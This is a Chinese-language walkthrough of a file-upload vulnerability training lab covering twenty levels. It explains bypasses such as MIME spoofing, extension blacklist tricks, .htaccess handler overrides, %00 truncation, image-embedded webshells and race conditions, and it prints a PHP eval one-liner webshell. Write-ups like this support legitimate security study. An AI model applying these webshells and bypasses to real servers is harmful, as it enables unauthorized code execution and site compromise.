Pass-01
知识点:前端 JS 校验漏洞
防护原理:仅在浏览器端通过 JS 代码校验文件后缀,后端无任何校验。
核心特征:点击上传按钮就弹出"不支持该文件类型"提示
绕过方法:
浏览器禁用 JavaScript
先上传合法
.jpg文件,抓包修改后缀为.php。文件内容直接为一句话木马即可:<?php@eval($_POST['cmd']);?>如果只是打靶场的话,一句话木马也可用
<?php phpinfo(); ?>代替。
这里我为大家展示第2种绕过方式:
先上传shell.png,里面写一句话木马即可
然后抓包,修改.png为.php
成功上传,并让shell.php执行指令
Pass-02
知识点:MIME 类型校验漏洞
- 防护原理:后端仅校验 HTTP 请求头中的
Content-Type字段,不校验文件后缀和内容。 - 核心特征:上传
.php文件被拦截,上传.jpg/.png正常,抓包可见Content-Type字段。 - 绕过方法:抓包修改
Content-Type为image/jpeg、image/png、image/gif。
绕过步骤:
与第一关步骤类似,只需注意把Content-Type也进行一并修改即可
即可上传成功复制图片链接并访问,即可执行成功
Pass-03
后缀黑名单校验漏洞
防护原理:服务器列出禁止上传的脚本后缀黑名单(如
.php、.asp、.jsp)。核心特征:提示"禁止上传 php 等脚本文件",非黑名单后缀可上传。
绕过方法:
方式 说明 特殊后缀 .php3/.php4/.php5/.phtml(Apache 解析)大小写绕过 .pHp/.PHP(Windows 环境生效)特殊符号 .php(空格)、.php.(末尾点)、php. .空字节截断 .php%00.jpg(PHP < 5.3.4)::$DATA绕过Windows 文件流特性,抓包在后缀后加 ::$DATA(建立连接时需删除)双写绕过 有些服务器会将黑名单后缀删除,可使用双写(如 .pphphp)绕过
本关我们利用Apache 解析的特性,通过特殊后缀进行绕过
抓包,然后修改后缀为.phtml即可
放包,然后成功访问
Pass-04
配置文件解析漏洞
- 防护原理:黑名单过滤极严,禁止所有脚本后缀(
.php),但允许上传.htaccess/web.config—— Apache/IIS 服务器的"局部配置文件"。 - 相关知识点:配置文件是服务器/PHP 的行为规则文件。攻击文件上传,本质就是在利用这些规则的漏洞。
注:
.htaccess是 Apache 服务器的分布式配置文件,可以放在网站任意目录下,用来重写 URL、修改 MIME 类型、设置访问权限、解析规则等,相当于给当前目录单独写了一份 Apache 配置。
核心特征:所有脚本后缀均被拦截,可上传非脚本格式文件。
绕过方法:
Apache:上传
.htaccess,再传一句话木马先建立一个
.htaccess文件,内容如下:SetHandler application/x-httpd-php .png这会将当前目录下所有png文件指定为 PHP 方式处理。然后先上传文件.htaccess,再上传木马,木马为png格式直接上传即可
Pass-05
本关与第3关一样,也是黑名单漏洞,通过代码审计可知,本关并没有进行小写转换,也就是说可以通过大小写进行绕过
- 绕过方法:将后缀改成.PHP即可
Pass-06
同样黑名单,还是通过观察源码,了解到并没有去空,所以我们可以通过空格进行绕过
- 绕过方法:同样先bp进行抓包,然后进行留空
然后放包并成功访问
Pass-07
黑名单漏洞,观察源代码,发现并没有进行删除文件名末尾的点
- 绕过方法:先bp进行抓包,然后加上一点.
然后放包并成功访问
Pass-08
同样查看源代码,发现少了去除字符串,所以我们可以进行::$DATA 绕过
- 绕过方法:先bp进行抓包,然后添加字符串::$DATA
然后进行访问,并去掉字符串部分
Pass-09
观察源代码,这里我们可以通过. .来让系统“懵逼”,从而实现绕过的目的
- 绕过方法:bp进行抓包,修改后缀,添加字符. .
Pass-10
本关的特性是会将黑名单内容直接进行删除,所以我们可以通过双写来进行绕过
- 绕过方法:bp进行抓包,修改后缀为.pphphp
上传成功,并成功进行访问
Pass-11
后缀白名单校验漏洞
防护原理:仅允许指定后缀(如
.jpg/.png/.gif),其余后缀全部拒绝。核心特征:只有白名单内文件可上传,脚本后缀一律拦截,防护性较强。
绕过方法:
a. %00 截断
与黑名单中的
%00截断原理相同。白名单只校验后缀是否为.jpg,但通过%00截断使服务端实际保存为.php。例如:shell.php%001.jpg,前端看到.jpg通过白名单,服务端截断后保存为shell.php。b. 配合文件包含漏洞执行图片马
命名时使用正常图片的命名方式(如
shell.jpg),文件内容则带有 PHP 指令,然后通过文件包含漏洞来激活执行(详见"文件包含漏洞"小节)。
本关则是get形式的白名单绕过:
同样,先上传png文件,然后上传时bp拦截并修改上传路径
上传成功后复制地址进行访问
Pass-12
不同于11关,本关是 Post类型,所以我们需要在包体中进行操作
- 绕过方法:bp抓包,然后在包体中添加%00进行截断,然后对其进行url编码
成功上传后,复制路径,还是把php后面的部分给删掉,最终成功如图所示
Pass-13
本关我们需要使用图片马配合文件上传,这里我来教大家制作图片马
这里需要大家同时准备一个正常图片和一个一句话木马的php文件,然后放在同一文件夹下,之后对该文件夹输入指令cmd,并执行以下指令
copy 11.png /b + shell.php /a webshell.png这里文件名改成自己文件的名称就可以
制作好后,直接上传图片马即可
然后复制图片路径,再点击文件包含漏洞,输入以下指令访问即可
/include.php?file=upload/7420260807185710.png这里图片的内容换成自己的即可
注:制作图片马后访问失败的概率挺高的,煮播这里也重做了好几次图片马,所以一定要有耐心
成功进行访问
Pass-14和Pass-15与上述方法一致
Pass-16
图片二次渲染漏洞
防护原理:服务器对上传图片重新压缩、裁剪、生成,清除插入的恶意代码。
核心特征:可上传图片马,但打开后木马代码丢失,图片被修改。
绕过方法:在图片非渲染区域插入代码(PNG 数据块、GIF 帧间隙、EXIF 信息),例如:
GIF89a; <?php @eval($_POST['cmd']); ?> 图片像素数据
这里我们需要利用工具010editor,可以在csdn上找一下该工具进行下载,下好后还是跟着我一步步走就可以
先修改图片码格式为.gif,然后上传gif图片马,上传成功后,将其另存为另一个图片马
然后用010editor打开另存的gif图片马
在最后一列找个位置,插入一句话木马即可
然后将制作好的图片马上传并进行访问即可,最后效果如图
Pass-17
条件竞争漏洞
防护原理:服务器先临时保存文件,再校验,不合格则删除,存在时间差。
核心特征:文件上传成功后瞬间被删除,无法正常访问。
绕过方法:Burp Suite 多线程并发上传,同时高频访问文件路径,抢在删除前执行。
这里我们直接上传php文件即可,然后通过bp拦截,发到爆破(Intruder)模块
然后在php后面加个1,然后添加攻击
之后看向右边,模式选null payload的,然后选continue就可以
然后点开始攻击,并同时切到关卡界面的shell.php路径下一直刷新,直至出现内容即可
Pass-18
和前一关比较类似,不过我们这里需要先对shell.php进行一下压缩,压缩成.7z的形式,然后上传shell.php.7z,剩下的步骤跟条件竞争一样
Pass-19
本关绕过同样也是采用Post形式的00截断,只是要注意修改的位置即可
上传.php文件并抓包
然后还和第12关一样,对%00进行Url解码,最后进行访问,把php后面的部分去掉即可
Pass-20
同样,先上传shell.php然后进行抓包,然后修改成以下形式
之后进行访问,即可成功get shell
本关难度较高,且揉合了之前的东西,如果是新手的话,不建议进行深究